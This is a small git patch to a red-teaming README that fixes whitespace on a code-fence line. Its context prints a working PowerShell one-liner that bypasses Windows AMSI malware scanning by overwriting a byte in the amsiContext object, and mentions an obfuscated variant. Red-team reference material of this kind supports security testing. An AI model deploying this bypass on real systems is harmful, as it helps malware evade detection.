From d0738d5a6104a19eab0e80b660dc1f45ff6469de Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Wed, 8 Apr 2020 13:34:56 +0200 Subject: [PATCH] Update README.md --- red-teaming/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/red-teaming/README.md b/red-teaming/README.md index 0b8559a..1ff26aa 100644 --- a/red-teaming/README.md +++ b/red-teaming/README.md @@ -83,7 +83,7 @@ amsiInitFailed * Technique 1A: Overwrite `AmsiUtils.amsiContext`'s object (`_HAMSICONTEXT.Signature`) byte. Length: 146 bytes. ``` [Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5) - ``` + ``` * Technique 1B: Same as 1A, but obfuscated variant. (256 bytes) ```